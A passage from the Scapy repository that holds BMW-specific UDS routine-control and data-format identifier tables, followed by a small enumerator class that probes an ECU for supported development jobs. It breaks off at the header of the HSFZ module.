UDS_RC.routineControlIdentifiers[0xe094] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe095] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe096] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe097] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe098] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe099] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe09f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0a9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0aa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ab] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ac] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ad] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ae] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0af] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0b9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ba] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0be] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0bf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0c9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ca] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ce] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0cf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0d9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0da] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0db] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0dc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0dd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0de] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0df] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0e9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ea] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0eb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ec] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ed] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ee] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ef] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0f9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0fe] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe0ff] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe100] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe101] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe102] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe103] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe104] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe105] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe106] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe107] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe108] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe109] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe10f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe110] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe111] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe112] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe113] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe114] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe115] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe116] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe117] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe118] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe119] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe11f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe120] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe121] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe122] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe123] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe124] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe125] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe126] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe127] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe128] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe129] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe12f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe130] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe131] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe132] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe133] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe134] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe135] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe136] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe137] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe138] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe139] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe13f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe140] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe141] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe142] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe143] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe144] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe145] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe146] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe147] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe148] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe149] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe14f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe150] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe151] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe152] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe153] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe154] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe155] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe156] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe157] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe158] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe159] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe15f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe160] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe161] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe162] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe163] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe164] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe165] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe166] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe167] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe168] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe169] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe16f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe170] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe171] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe172] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe173] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe174] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe175] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe176] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe177] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe178] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe179] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe17f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe180] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe181] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe182] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe183] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe184] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe185] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe186] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe187] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe188] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe189] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe18f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe190] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe191] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe192] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe193] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe194] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe195] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe196] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe197] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe198] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe199] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe19f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1a9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1aa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ab] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ac] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ad] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ae] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1af] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1b9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ba] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1be] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ca] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ce] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1da] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1db] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1dc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1dd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1de] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1df] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ea] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1eb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ec] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ed] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ee] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ef] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fe] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ff] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xf013] = "DeactivateSegeln" UDS_RC.routineControlIdentifiers[0xf043] = "RequestDeactivateMontagemodus" UDS_RC.routineControlIdentifiers[0xF720] = "ControlSniffingHuPort" UDS_RC.routineControlIdentifiers[0xF759] = "ControlHeadUnitActivationLine" UDS_RC.routineControlIdentifiers[0xF760] = "ResetHeadUnitActivationLine" UDS_RC.routineControlIdentifiers[0xF761] = "ClearFilterCAN" UDS_RC.routineControlIdentifiers[0xF762] = "SetFilterCAN" UDS_RC.routineControlIdentifiers[0xF764] = "MessageLogging" UDS_RC.routineControlIdentifiers[0xF765] = "ReceiveCANFrame" UDS_RC.routineControlIdentifiers[0xF766] = "SendCANFrame" UDS_RC.routineControlIdentifiers[0xF767] = "ReceiveFlexrayFrame" UDS_RC.routineControlIdentifiers[0xF768] = "SendFlexrayFrame" UDS_RC.routineControlIdentifiers[0xF769] = "SetFilterFlexray" UDS_RC.routineControlIdentifiers[0xF770] = "ClearFilterFlexray" UDS_RC.routineControlIdentifiers[0xF774] = "GetStatusLogging" UDS_RC.routineControlIdentifiers[0xF776] = "MessageTunnelDeauthenticator" UDS_RC.routineControlIdentifiers[0xF777] = "ControlTransDiagSend" UDS_RC.routineControlIdentifiers[0xF778] = "ClearFilterAll" UDS_RC.routineControlIdentifiers[0xF779] = "GetFilterCAN" UDS_RC.routineControlIdentifiers[0xF77B] = "SteuernFlexrayAutoDetectDisable" UDS_RC.routineControlIdentifiers[0xF77C] = "SteuernFlexrayPath" UDS_RC.routineControlIdentifiers[0xF77D] = "SteuernResetLernFlexray" UDS_RC.routineControlIdentifiers[0xF77F] = "SteuernLernFlexray" UDS_RC.routineControlIdentifiers[0xF780] = "ClearFilterLIN" UDS_RC.routineControlIdentifiers[0xF781] = "GetFilterLIN" UDS_RC.routineControlIdentifiers[0xF782] = "SetFilterLIN" UDS_RC.routineControlIdentifiers[0xff00] = "eraseMemory" UDS_RC.routineControlIdentifiers[0xff01] = "checkProgrammingDependencies" UDS_RD.dataFormatIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" UDS_RD.dataFormatIdentifiers[0x0002] = "BMW_ROM_EPROM_external" UDS_RD.dataFormatIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 UDS_RD.dataFormatIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" UDS_RD.dataFormatIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" UDS_RD.dataFormatIdentifiers[0x0006] = "BMW_flashEPROM_internal" UDS_RD.dataFormatIdentifiers[0x0007] = "BMW_UIFmemory" UDS_RD.dataFormatIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs" # noqa E501 UDS_RD.dataFormatIdentifiers[0x0009] = "BMW_flashEPROM_external" UDS_RD.dataFormatIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" UDS_RD.dataFormatIdentifiers[0x0010] = "NRV and noEncryptingMethod" UDS_RSDBI.dataIdentifiers = UDS_RDBI.dataIdentifiers ================================================ FILE: scapy/contrib/automotive/bmw/enumerator.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = BMW specific enumerators # scapy.contrib.status = loads from scapy.packet import Packet from scapy.contrib.automotive.scanner.enumerator import _AutomotiveTestCaseScanResult # noqa: E501 from scapy.contrib.automotive.uds import UDS from scapy.contrib.automotive.bmw.definitions import DEV_JOB from scapy.contrib.automotive.uds_scan import UDS_Enumerator from typing import ( Any, Iterable, ) class BMW_DevJobEnumerator(UDS_Enumerator): _description = "Available DevelopmentJobs by Identifier " \ "and negative response per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x10000)) return (UDS() / DEV_JOB(identifier=x) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x: %s" % \ (tup[1].identifier, tup[1].sprintf("%DEV_JOB.identifier%")) ================================================ FILE: scapy/contrib/automotive/bmw/hsfz.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = HSFZ - BMW 